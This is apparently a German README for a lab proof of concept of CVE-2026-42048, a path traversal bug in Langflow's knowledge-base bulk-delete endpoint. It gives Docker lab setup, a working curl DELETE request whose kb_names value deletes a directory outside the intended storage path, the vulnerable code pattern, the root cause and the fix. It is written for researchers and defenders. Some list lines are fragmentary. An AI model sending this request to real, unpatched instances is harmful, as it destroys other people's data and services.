
Langflow Beliebige Verzeichnislöschung
CVE-2026-42048 Langflow Path Traversal / PoC für beliebiges Löschen von Verzeichnissen
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048 : Langflow Schwachstelle zum beliebigen Löschen von Verzeichnissen
Beschreibung: Eine Path-Traversal-Schwachstelle in Langflow vor 1.9.0 ermöglicht einem authentifizierten Angreifer, Verzeichnisse außerhalb des vorgesehenen Knowledge-Base-Speicherpfads über den Bulk-Delete-Endpunkt DELETE /api/v1/knowledge_bases zu löschen. Das Problem tritt auf, weil vom Benutzer kontrollierte kb_names-Werte verwendet werden, um Dateisystempfade ohne ordnungsgemäße Normalisierung und Begrenzungsprüfung zu konstruieren.
Eine erfolgreiche Ausnutzung erfordert die folgenden Bedingungen:
1.9.0 aus.DELETE /api/v1/knowledge_bases
PR:L).kb_names-Parameter im Anforderungstext kontrollieren.Diese Schwachstelle umgeht keine Betriebssystem-Berechtigungen. Sie missbraucht Langflows eigene Pfadverarbeitungs- und Löschlogik.
Erstellen und starten Sie die verwundbare Umgebung mit Docker:
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
Das Lab erstellt ein einmaliges Zielverzeichnis unter:
/target/CVE-2026-42048
Der /status-Endpunkt meldet, ob dieses Verzeichnis noch existiert.
python3 poc.py
Interaktive Eingabe:
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
Bei erfolgreicher Ausnutzung ändert sich target_exists von true auf false.
Angreifbarer Endpunkt
DELETE /api/v1/knowledge_bases
Die Schwachstelle besteht in Langflows Bulk-Delete-API für Knowledge Bases. Der betroffene Handler akzeptiert eine Liste von Knowledge-Base-Namen über den Parameter kb_names und verwendet jeden Wert, um einen Dateisystempfad für das Löschen zu erstellen.
In verwundbaren Versionen konstruiert die Bulk-Delete-Logik den Pfad manuell, anstatt den sichereren Pfadauflösungs-Helper zu verwenden, der von anderen Knowledge-Base-Endpunkten genutzt wird. Eine vereinfachte Darstellung des anfälligen Musters ist:
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
Der Delete-Helper entfernt schließlich das Zielverzeichnis mit rekursiver Löschlogik. Da kb_name vom Angreifer kontrolliert wird, können Path-Traversal-Sequenzen wie ../ aus dem Knowledge-Base-Verzeichnis des aktuellen Benutzers ausbrechen. In Pythons pathlib kann ein absoluter Pfad auf der rechten Seite die vorherigen Pfadkomponenten überschreiben:
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
Infolgedessen kann ein manipulierte kb_names-Wert dazu führen, dass Langflow ein Verzeichnis außerhalb des vorgesehenen Knowledge-Base-Speicherstamms löscht, sofern der Langflow-Prozess die Berechtigung zum Entfernen dieses Verzeichnisses hat.
Dies ist ein CWE-22: Improper Limitation of a Pathname to a Restricted Directory-Problem.
Die Ursache ist eine unzureichende Normalisierung und Begrenzungsprüfung von benutzergesteuerten Pfadkomponenten vor dem rekursiven Löschen. Der verwundbare Bulk-Delete-Endpunkt prüft, ob der endgültige Pfad existiert, aber er stellt nicht sicher, dass der aufgelöste Pfad innerhalb des Knowledge-Base-Verzeichnisses des authentifizierten Benutzers bleibt.
Eine robuste Korrektur muss:
Path.resolve() normalisierenLangflow hat dieses Problem in 1.9.0 behoben.
Das beliebige Löschen von Verzeichnissen kann sich direkt auf Integrität und Verfügbarkeit auswirken. Abhängig von den Berechtigungen der Bereitstellung und der Dateisystemstruktur kann ein Angreifer möglicherweise:
Dieses Problem erfordert keine beliebige Codeausführung, um schädlich zu sein. Rekursives Löschen mit Anwendungsberechtigungen reicht aus, um Daten und Verfügbarkeit zu beeinträchtigen.
+-------------------------------------------+
| Authentifizierter Benutzer |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| Langflow Knowledge Base API |
+-------------------------------------------+
|
| Unsichere Pfadkonstruktion
v
+-------------------------------------------+
| Pfad verlässt vorgesehenes KB-Benutzerverzeichnis |
+-------------------------------------------+
|
| Rekursives Löschen des Verzeichnisses
v
+-------------------------------------------+
| Beliebiges Löschen von Verzeichnissen |
+-------------------------------------------+
Dieses Lab stellt einen kleinen Challenge-Proxy auf Port 9101 bereit. Der Proxy verbirgt die vollständige Langflow-Benutzeroberfläche und den direkten Backend-Port und leitet nur den minimalen verwundbaren API-Pfad weiter, der für diese Übung benötigt wird.
Das Zielverzeichnis für das Lab ist:
/target/CVE-2026-42048
Der /status-Endpunkt kann verwendet werden, um zu bestätigen, dass das Zielverzeichnis gelöscht wurde.
docker stop cve-2026-42048
Dieses Repository ist nicht dazu bestimmt, die unbefugte Ausnutzung von Langflow-Instanzen zu erleichtern. Der Zweck dieses Projekts ist es, Sicherheitsforschern, Verteidigern und Entwicklern zu helfen, die Schwachstelle zu verstehen, die Exposition in kontrollierten Umgebungen zu validieren und wirksame Gegenmaßnahmen anzuwenden.